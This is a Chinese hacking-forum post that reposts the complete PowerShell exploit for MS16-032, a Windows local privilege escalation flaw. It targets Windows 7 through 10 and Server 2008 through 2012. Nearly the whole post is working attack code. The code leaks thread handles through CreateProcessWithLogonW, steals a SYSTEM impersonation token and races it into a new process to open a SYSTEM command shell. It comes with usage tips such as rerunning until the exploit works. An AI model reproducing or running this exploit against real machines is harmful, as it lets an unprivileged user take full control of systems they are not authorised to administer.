搜索
查看: 335|回复: 0

Windows 7-10 & Server 2008-2012 - Local Privilege Escalation (x32/x64)

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-4-23 22:15:20 | 显示全部楼层 |阅读模式

  1. function Invoke-MS16-032 {
  2. <#
  3. .SYNOPSIS
  4.    
  5.     PowerShell implementation of MS16-032. The exploit targets all vulnerable
  6.     operating systems that support PowerShell v2+. Credit for the discovery of
  7.     the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
  8.    
  9.     Targets:
  10.    
  11.     * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
  12.     * Tested on x32 Win7, x64 Win8, x64 2k12R2
  13.    
  14.     Notes:
  15.    
  16.     * In order for the race condition to succeed the machine must have 2+ CPU
  17.       cores. If testing in a VM just make sure to add a core if needed mkay.
  18.     * The exploit is pretty reliable, however ~1/6 times it will say it succeeded
  19.       but not spawn a shell. Not sure what the issue is but just re-run and profit!
  20.     * Want to know more about MS16-032 ==>
  21.       https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
  22. .DESCRIPTION
  23.         Author: Ruben Boonen (@FuzzySec)
  24.         Blog: http://www.fuzzysecurity.com/
  25.         License: BSD 3-Clause
  26.         Required Dependencies: PowerShell v2+
  27.         Optional Dependencies: None
  28.         E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736
  29.    
  30. .EXAMPLE
  31.         C:\PS> Invoke-MS16-032
  32. #>
  33.         Add-Type -TypeDefinition @"
  34.         using System;
  35.         using System.Diagnostics;
  36.         using System.Runtime.InteropServices;
  37.         using System.Security.Principal;
  38.        
  39.         [StructLayout(LayoutKind.Sequential)]
  40.         public struct PROCESS_INFORMATION
  41.         {
  42.                 public IntPtr hProcess;
  43.                 public IntPtr hThread;
  44.                 public int dwProcessId;
  45.                 public int dwThreadId;
  46.         }
  47.        
  48.         [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
  49.         public struct STARTUPINFO
  50.         {
  51.                 public Int32 cb;
  52.                 public string lpReserved;
  53.                 public string lpDesktop;
  54.                 public string lpTitle;
  55.                 public Int32 dwX;
  56.                 public Int32 dwY;
  57.                 public Int32 dwXSize;
  58.                 public Int32 dwYSize;
  59.                 public Int32 dwXCountChars;
  60.                 public Int32 dwYCountChars;
  61.                 public Int32 dwFillAttribute;
  62.                 public Int32 dwFlags;
  63.                 public Int16 wShowWindow;
  64.                 public Int16 cbReserved2;
  65.                 public IntPtr lpReserved2;
  66.                 public IntPtr hStdInput;
  67.                 public IntPtr hStdOutput;
  68.                 public IntPtr hStdError;
  69.         }
  70.        
  71.         [StructLayout(LayoutKind.Sequential)]
  72.         public struct SQOS
  73.         {
  74.                 public int Length;
  75.                 public int ImpersonationLevel;
  76.                 public int ContextTrackingMode;
  77.                 public bool EffectiveOnly;
  78.         }
  79.        
  80.         public static class Advapi32
  81.         {
  82.                 [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
  83.                 public static extern bool CreateProcessWithLogonW(
  84.                         String userName,
  85.                         String domain,
  86.                         String password,
  87.                         int logonFlags,
  88.                         String applicationName,
  89.                         String commandLine,
  90.                         int creationFlags,
  91.                         int environment,
  92.                         String currentDirectory,
  93.                         ref  STARTUPINFO startupInfo,
  94.                         out PROCESS_INFORMATION processInformation);
  95.                        
  96.                 [DllImport("advapi32.dll", SetLastError=true)]
  97.                 public static extern bool SetThreadToken(
  98.                         ref IntPtr Thread,
  99.                         IntPtr Token);
  100.                        
  101.                 [DllImport("advapi32.dll", SetLastError=true)]
  102.                 public static extern bool OpenThreadToken(
  103.                         IntPtr ThreadHandle,
  104.                         int DesiredAccess,
  105.                         bool OpenAsSelf,
  106.                         out IntPtr TokenHandle);
  107.                        
  108.                 [DllImport("advapi32.dll", SetLastError=true)]
  109.                 public static extern bool OpenProcessToken(
  110.                         IntPtr ProcessHandle,
  111.                         int DesiredAccess,
  112.                         ref IntPtr TokenHandle);
  113.                        
  114.                 [DllImport("advapi32.dll", SetLastError=true)]
  115.                 public extern static bool DuplicateToken(
  116.                         IntPtr ExistingTokenHandle,
  117.                         int SECURITY_IMPERSONATION_LEVEL,
  118.                         ref IntPtr DuplicateTokenHandle);
  119.         }
  120.        
  121.         public static class Kernel32
  122.         {
  123.                 [DllImport("kernel32.dll")]
  124.                 public static extern uint GetLastError();
  125.        
  126.                 [DllImport("kernel32.dll", SetLastError=true)]
  127.                 public static extern IntPtr GetCurrentProcess();
  128.        
  129.                 [DllImport("kernel32.dll", SetLastError=true)]
  130.                 public static extern IntPtr GetCurrentThread();
  131.                
  132.                 [DllImport("kernel32.dll", SetLastError=true)]
  133.                 public static extern int GetThreadId(IntPtr hThread);
  134.                
  135.                 [DllImport("kernel32.dll", SetLastError = true)]
  136.                 public static extern int GetProcessIdOfThread(IntPtr handle);
  137.                
  138.                 [DllImport("kernel32.dll",SetLastError=true)]
  139.                 public static extern int SuspendThread(IntPtr hThread);
  140.                
  141.                 [DllImport("kernel32.dll",SetLastError=true)]
  142.                 public static extern int ResumeThread(IntPtr hThread);
  143.                
  144.                 [DllImport("kernel32.dll", SetLastError=true)]
  145.                 public static extern bool TerminateProcess(
  146.                         IntPtr hProcess,
  147.                         uint uExitCode);
  148.        
  149.                 [DllImport("kernel32.dll", SetLastError=true)]
  150.                 public static extern bool CloseHandle(IntPtr hObject);
  151.                
  152.                 [DllImport("kernel32.dll", SetLastError=true)]
  153.                 public static extern bool DuplicateHandle(
  154.                         IntPtr hSourceProcessHandle,
  155.                         IntPtr hSourceHandle,
  156.                         IntPtr hTargetProcessHandle,
  157.                         ref IntPtr lpTargetHandle,
  158.                         int dwDesiredAccess,
  159.                         bool bInheritHandle,
  160.                         int dwOptions);
  161.         }
  162.        
  163.         public static class Ntdll
  164.         {
  165.                 [DllImport("ntdll.dll", SetLastError=true)]
  166.                 public static extern int NtImpersonateThread(
  167.                         IntPtr ThreadHandle,
  168.                         IntPtr ThreadToImpersonate,
  169.                         ref SQOS SecurityQualityOfService);
  170.         }
  171. "@
  172.        
  173.         function Get-ThreadHandle {
  174.                 # StartupInfo Struct
  175.                 $StartupInfo = New-Object STARTUPINFO
  176.                 $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
  177.                 $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
  178.                 $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
  179.                 $StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
  180.                 $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
  181.                
  182.                 # ProcessInfo Struct
  183.                 $ProcessInfo = New-Object PROCESS_INFORMATION
  184.                
  185.                 # CreateProcessWithLogonW --> lpCurrentDirectory
  186.                 $GetCurrentPath = (Get-Item -Path "." -Verbose).FullName
  187.                
  188.                 # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
  189.                 $CallResult = [Advapi32]::CreateProcessWithLogonW(
  190.                         "user", "domain", "pass",
  191.                         0x00000002, "C:\Windows\System32\cmd.exe", "",
  192.                         0x00000004, $null, $GetCurrentPath,
  193.                         [ref]$StartupInfo, [ref]$ProcessInfo)
  194.                
  195.                 # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
  196.                 $lpTargetHandle = [IntPtr]::Zero
  197.                 $CallResult = [Kernel32]::DuplicateHandle(
  198.                         $ProcessInfo.hProcess, 0x4,
  199.                         [Kernel32]::GetCurrentProcess(),
  200.                         [ref]$lpTargetHandle, 0, $false,
  201.                         0x00000002)
  202.                
  203.                 # Clean up suspended process
  204.                 $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
  205.                 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
  206.                 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
  207.                
  208.                 $lpTargetHandle
  209.         }
  210.        
  211.         function Get-SystemToken {
  212.                 echo "`n[?] Trying thread handle: $Thread"
  213.                 echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
  214.        
  215.                 $CallResult = [Kernel32]::SuspendThread($Thread)
  216.                 if ($CallResult -ne 0) {
  217.                         echo "[!] $Thread is a bad thread, moving on.."
  218.                         Return
  219.                 } echo "[+] Thread suspended"
  220.                
  221.                 echo "[>] Wiping current impersonation token"
  222.                 $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
  223.                 if (!$CallResult) {
  224.                         echo "[!] SetThreadToken failed, moving on.."
  225.                         $CallResult = [Kernel32]::ResumeThread($Thread)
  226.                         echo "[+] Thread resumed!"
  227.                         Return
  228.                 }
  229.                
  230.                 echo "[>] Building SYSTEM impersonation token"
  231.                 # SecurityQualityOfService struct
  232.                 $SQOS = New-Object SQOS
  233.                 $SQOS.ImpersonationLevel = 2 #SecurityImpersonation
  234.                 $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
  235.                 # Undocumented API's, I like your style Microsoft ;)
  236.                 $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
  237.                 if ($CallResult -ne 0) {
  238.                         echo "[!] NtImpersonateThread failed, moving on.."
  239.                         $CallResult = [Kernel32]::ResumeThread($Thread)
  240.                         echo "[+] Thread resumed!"
  241.                         Return
  242.                 }
  243.        
  244.                 $script:SysTokenHandle = [IntPtr]::Zero
  245.                 # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
  246.                 $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
  247.                 if (!$CallResult) {
  248.                         echo "[!] OpenThreadToken failed, moving on.."
  249.                         $CallResult = [Kernel32]::ResumeThread($Thread)
  250.                         echo "[+] Thread resumed!"
  251.                         Return
  252.                 }
  253.                
  254.                 echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
  255.                 echo "[+] Resuming thread.."
  256.                 $CallResult = [Kernel32]::ResumeThread($Thread)
  257.         }
  258.        
  259.         # main() <--- ;)
  260.         $ms16032 = @"
  261.          __ __ ___ ___   ___     ___ ___ ___
  262.         |  V  |  _|_  | |  _|___|   |_  |_  |
  263.         |     |_  |_| |_| . |___| | |_  |  _|
  264.         |_|_|_|___|_____|___|   |___|___|___|
  265.                                            
  266.                        [by b33f -> @FuzzySec]
  267. "@
  268.        
  269.         $ms16032
  270.        
  271.         # Check logical processor count, race condition requires 2+
  272.         echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
  273.         if ($([System.Environment]::ProcessorCount) -lt 2) {
  274.                 echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
  275.                 Return
  276.         }
  277.        
  278.         # Create array for Threads & TID's
  279.         $ThreadArray = @()
  280.         $TidArray = @()
  281.        
  282.         echo "[>] Duplicating CreateProcessWithLogonW handles.."
  283.         # Loop Get-ThreadHandle and collect thread handles with a valid TID
  284.         for ($i=0; $i -lt 500; $i++) {
  285.                 $hThread = Get-ThreadHandle
  286.                 $hThreadID = [Kernel32]::GetThreadId($hThread)
  287.                 # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
  288.                 if ($TidArray -notcontains $hThreadID) {
  289.                         $TidArray += $hThreadID
  290.                         if ($hThread -ne 0) {
  291.                                 $ThreadArray += $hThread # This is what we need!
  292.                         }
  293.                 }
  294.         }
  295.        
  296.         if ($($ThreadArray.length) -eq 0) {
  297.                 echo "[!] No valid thread handles were captured, exiting!"
  298.                 Return
  299.         } else {
  300.                 echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
  301.                 echo "`n[?] Thread handle list:"
  302.                 $ThreadArray
  303.         }
  304.        
  305.         echo "`n[*] Sniffing out privileged impersonation token.."
  306.         foreach ($Thread in $ThreadArray){
  307.        
  308.                 # Get handle to SYSTEM access token
  309.                 Get-SystemToken
  310.                
  311.                 echo "`n[*] Sniffing out SYSTEM shell.."
  312.                 echo "`n[>] Duplicating SYSTEM token"
  313.                 $hDuplicateTokenHandle = [IntPtr]::Zero
  314.                 $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
  315.                
  316.                 # Simple PS runspace definition
  317.                 echo "[>] Starting token race"
  318.                 $Runspace = [runspacefactory]::CreateRunspace()
  319.                 $StartTokenRace = [powershell]::Create()
  320.                 $StartTokenRace.runspace = $Runspace
  321.                 $Runspace.Open()
  322.                 [void]$StartTokenRace.AddScript({
  323.                         Param ($Thread, $hDuplicateTokenHandle)
  324.                         while ($true) {
  325.                                 $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
  326.                         }
  327.                 }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
  328.                 $AscObj = $StartTokenRace.BeginInvoke()
  329.                
  330.                 echo "[>] Starting process race"
  331.                 # Adding a timeout (10 seconds) here to safeguard from edge-cases
  332.                 $SafeGuard = [diagnostics.stopwatch]::StartNew()
  333.                 while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
  334.                 # StartupInfo Struct
  335.                 $StartupInfo = New-Object STARTUPINFO
  336.                 $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
  337.                
  338.                 # ProcessInfo Struct
  339.                 $ProcessInfo = New-Object PROCESS_INFORMATION
  340.                
  341.                 # CreateProcessWithLogonW --> lpCurrentDirectory
  342.                 $GetCurrentPath = (Get-Item -Path "." -Verbose).FullName
  343.                
  344.                 # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
  345.                 $CallResult = [Advapi32]::CreateProcessWithLogonW(
  346.                         "user", "domain", "pass",
  347.                         0x00000002, "C:\Windows\System32\cmd.exe", "",
  348.                         0x00000004, $null, $GetCurrentPath,
  349.                         [ref]$StartupInfo, [ref]$ProcessInfo)
  350.                        
  351.                 $hTokenHandle = [IntPtr]::Zero
  352.                 $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
  353.                 # If we can't open the process token it's a SYSTEM shell!
  354.                 if (!$CallResult) {
  355.                         echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
  356.                         $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
  357.                         $StartTokenRace.Stop()
  358.                         $SafeGuard.Stop()
  359.                         Return
  360.                 }
  361.                        
  362.                 # Clean up suspended process
  363.                 $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
  364.                 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
  365.                 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
  366.                 }
  367.                
  368.                 # Kill runspace & stopwatch if edge-case
  369.                 $StartTokenRace.Stop()
  370.                 $SafeGuard.Stop()
  371.         }
  372. }
复制代码


https://www.exploit-db.com/exploits/39719/

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表